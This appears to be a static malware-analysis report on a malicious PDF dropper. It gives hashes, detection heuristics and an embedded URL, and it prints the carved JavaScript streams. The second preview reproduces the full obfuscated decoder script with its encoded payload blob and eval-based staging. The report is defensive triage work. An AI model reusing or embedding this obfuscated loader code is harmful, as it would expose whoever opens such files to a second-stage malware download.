Malicious PDF — malware analysis report

Static analysis result for SHA-256 36b85b48783be3aa…

MALICIOUS

PDF

2.7 KB First seen: 2012-07-12
MD5: c05f193c5453880d3958c63e5259059e SHA-1: 285ef5dc25fb165483dea3c80f35df4d99f0b47a SHA-256: 36b85b48783be3aa8bba0522c081d27b2cd55ffa8e8232b2c38ce9340a674978
218 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell

This PDF file was flagged as malicious by ML classifiers and ClamAV, identifying it as Pdf.Dropper.Agent-1828710. It contains embedded JavaScript, including obfuscated streams and calls to eval() and String.fromCharCode(), indicating an attempt to execute malicious code. The presence of these JavaScript elements suggests the PDF is designed to download and execute a second-stage payload.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 6

  • ClamAV: Pdf.Dropper.Agent-1828710 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Pdf.Dropper.Agent-1828710
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    /*fGhkjkDFhkhsfd <FDSJHFhkjkjSDFkj> FDKLFJHklfkldshfSLDf*/ eval('bqeudpd=/*fGhkjkDFhkhsfd <FDSJHFhkjkjSDFkj> FDKLFJHklfkldshfSLDf*/eval;');
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://J.NgVP/.fJ Referenced by PDF JavaScript

Related samples 8

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj111611_000.js pdf-javascript-stream PDF /JS object 111611 at offset 0x197 258 bytes
SHA-256: 2ae2b3eaf383d2969d7b559604131ffe8ad02b5d65bb16399874596d2252e282
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
/*fGhkjkDFhkhsfd <FDSJHFhkjkjSDFkj> FDKLFJHklfkldshfSLDf*/ eval('bqeudpd=/*fGhkjkDFhkhsfd <FDSJHFhkjkjSDFkj> FDKLFJHklfkldshfSLDf*/eval;');
agd = "!^@&*hgjrg".replace(/[!]/g, "");agd = "!^@&*hgjrg".replace(/[!]/g, "");agd = "!^@&*hgjrg".replace(/[!]/g, "");
javascript_obj111612_001.js pdf-javascript-stream PDF /JS object 111612 at offset 0x268 3310 bytes
SHA-256: 45d738cf8b52c6a2e3d92a91c57ba896e7815276e514f4ffe82180e90475bcf9
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
dmbwgn="0]1G1c1f2Z1d2d3L1N1`2a1^2J1[3Z1Y3d1Q1T1U3G3c1R2W3E1O3a3e1L3O1J2b1H3X3]1;1D2c1@1A2^2f1>3N1<2h3^11183P163Y143R122L2V0f1.3V1,3Q0i0j3f3h0g2g3b0`0c3+0a2X3W0^27240H0Q0X3`0V3K0T3S0R2R2S0O2`0M2_0K3U0I2U3_0D0E2O2]0B2[3M";imbwxz="97/LO[>1M5jN@78EVJ1J96J1J96J1J96J1J90eHTiIOh2i>@NA87<@4A/:H6Yi;B_dX]4>R6LWUVLMT3N,iT]**]C***C/5*0:CC/6K=J@],@g6LZ*SN12R0:JZj2-f+N1*JgL<bIN@++d+KJP:JZ/N4@V0;B.@].0Gi:ShJ]48RP;;KP]**8]*c*]+V6E2-U0]***]-6-VKBKN]**8]4B*C,,Ra:Q0ON>Eh]**8]4_*].*LC***C-0*0;BZT]**8]..*C,FD@;;Yb2**f2>c*]*dK6K3IX:S:Y]*_LP:**0:ZD+N1@*6K.*P:SYIN01BP;d-0]/7,a:JJ-2=M<]5?id**0d/D*C*TB^2-Tb2**-273+C1eQC*E:C***C/+@d*TB^2-T3N**+N*+3C**<@:D<,]9`8]*eMC***C,,UFK87528=h]**7]4_*]**NVKB06]*RNVJ_N/NITGN+`0]***]06UFLS,U2**f2::+N3[SC/0jFJ*-VLW*6K*2P:**0:[J+N@64VJ*-VK+*0:Q0ON>Eh]**8]/8*6J8B=2<AfN4>5gJ72E2**-2B7*]-U*0:L*=2>bY]--V=2gKMC,PKE2::+N3[SC/TjFJ*-FLW*6J?6CN+`EN**+N0NJVMh=VJ7R6J**6LJUFJ?6CN+`.]***]**NVJ*35273+C1eQC*G;VJ**6K+?X:Q0ON<3id**0d/D*C**<@:V-0C*><@:D<,]9`8]*eMC***C-0?X;>K?N**GN,@*6LP>WN?4MC/-R@;eO3N**+N**+N**+N**+N**+N**+N**+N**+N.T[a;?MUC+/L?N>+ZC+`LGN@cLC/Y*6JQ.CN@gOVJPN/N.cfFJc;ad*+EVJO@8]4*ea:;Kad/X2SN.V<a:<MW]-O-O6LMJ-22BJVJd5?N.>3@:6B+N6`+C--N/NH,JC+`<7ND3La:JP1C,Q6/N-7cC**Si:**0:8J>]*bKd***C.OL.].R/6J7cH:**0:F,-].>8=2fj3N-R/6J7cH:**0:7C/VJ7dP:**0:,NOVMKS@:*+X;2B+N*S3E2cD?N**EN>*+N<@N92<J>]*bKd***C/0N92@0Sa;;35C,>,P:0g92**-2gL,]/MN/N6iX]3.BSN1@R@;;JWN01C=2R[KC,b,>]*>60;S]?N**EN4F*C*L63N<@2=261hN*R0d16<VJ*-FK+*0;3E]C,>,P:0g92**-269`6J*c6J**6J**6J**6J**6J**6J**6J**6K+*0;Z_U2**b2RJ+N0<MVKM4=2B[M6LM>^2-S-].-^C*[T0]*_ea:CBZgLTh=2WhEN@CCE2_`MC/YWE2*5IN?W?N@WEgJccM6JQN7N.cM6LU.WN@2;P:=],]5F<VJc*-22:OVJc-T]76<a:FK4]**OC+aN>]-O,GNDBLC+.8-2*-J]-U.=28*ea;U/3C+7`P::[+C+`L@],62^2_[9],62SNDZLa:;-J]7BFP;SLIN.:c6K;KZC,L[+C**S@:2*+XQTYQfB_LZb0YX4A/1PL[?cRW2XFDNVTiIMPG-FDicSF?+c]jd/M=Pf2+c-^2+c-[XQTYQfB_OM1`g[IP4A/D,UdiY51d/[<cSVD<[MeiBY^/ALP[S/KX7IFh8098UfC?gjGfDCZ[>cF^REMAb9=KM^Tia4G[<gVINA=bB8C_7[UfLU]cRF^REMAb4X`gjC6cc7[UfLO[:dQ:b0YXHOg-Ab^g[d`8+Y4AOMgLeHTiIMFDicSF>8C_7[UfQSI*`hgj6HG=JE]K^8KX7IFh8098UfBRY;<gVINA=`A^hbWSQ-/=KX7IFh8098UfBTg>Y51d/[=X4*Y7J**QXZEMAb/5LKX7IF?H40c`h[?cSN^MJb0YX?GUdihPH]O[;c^Y4H1^gLeG9?I9a71]S_[<cR/<SLQF?`J+>TBThH4QX[f6hOfP5Z>X40c`h[?cSVD;BEMAb4X`gj5e;gRh-a>X4f;,.2:K,.2:K,.2:N;.;.;.;.;.;.;.;.;.;.;.;.;.;.;.;.;.;.;.;.;.;.;.;.;.;.;.;.;.;.;.;.;.;.;.;.;.;.;.;.;.;.;.;.;.;.;.;.;.;.;.;.;.;.;.;.;.;.;.;.;.;.;.;.;.;.;.;.;.;.;.;.;.;.;.;.;.;.;.;.;.;.;.;.;.;.;.;.;.;.;.;/A^i5g^M_@9^1Uf3^GOT**Bb7d;e1XHT";jqkzi=2850;/*fGhkjkDFhkhsfd <FDSJHFhkjkjSDFkj> FDKLFJHklfkldshfSLDf*/cryqer4/*fGhkjkDFhkhsfd <FDSJHFhkjkjSDFkj> FDKLFJHklfkldshfSLDf*/=/*fGhkjkDFhkhsfd <FDSJHFhkjkjSDFkj> FDKLFJHklfkldshfSLDf*/new Array(/*fGhkjkDFhkhsfd <FDSJHFhkjkjSDFkj> FDKLFJHklfkldshfSLDf*/);/*fGhkjkDFhkhsfd <FDSJHFhkjkjSDFkj> FDKLFJHklfkldshfSLDf*/while(dmbwgn.length){cryqer4.push((ynxtb5(dmbwgn.charCodeAt(0))<<(4+2))+ynxtb5(dmbwgn.charCodeAt(1))-(500+12));dmbwgn=dmbwgn.slice(2,dmbwgn.length)}ywgpipy3=huclypx=dmbwgn=0;dnknev='';function ynxtb5(avemiq4){if(avemiq4>92)avemiq4--;return avemiq4-42}function xwkuy(){if(dmbwgn==0){huclypx=ynxtb5(imbwxz.charCodeAt(ywgpipy3++));dmbwgn=6;}return ((huclypx>>--dmbwgn)&0x01);}/*fGhkjkDFhkhsfd <FDSJHFhkjkjSDFkj> FDKLFJHklfkldshfSLDf*/while(jqkzi--){i=0;while(cryqer4[i]<0){if(xwkuy())i=-cryqer4[i];else i++;}dnknev+=String.fromCharCode(cryqer4[i]);}

Open this report in the interactive analyzer, or submit your own file for analysis.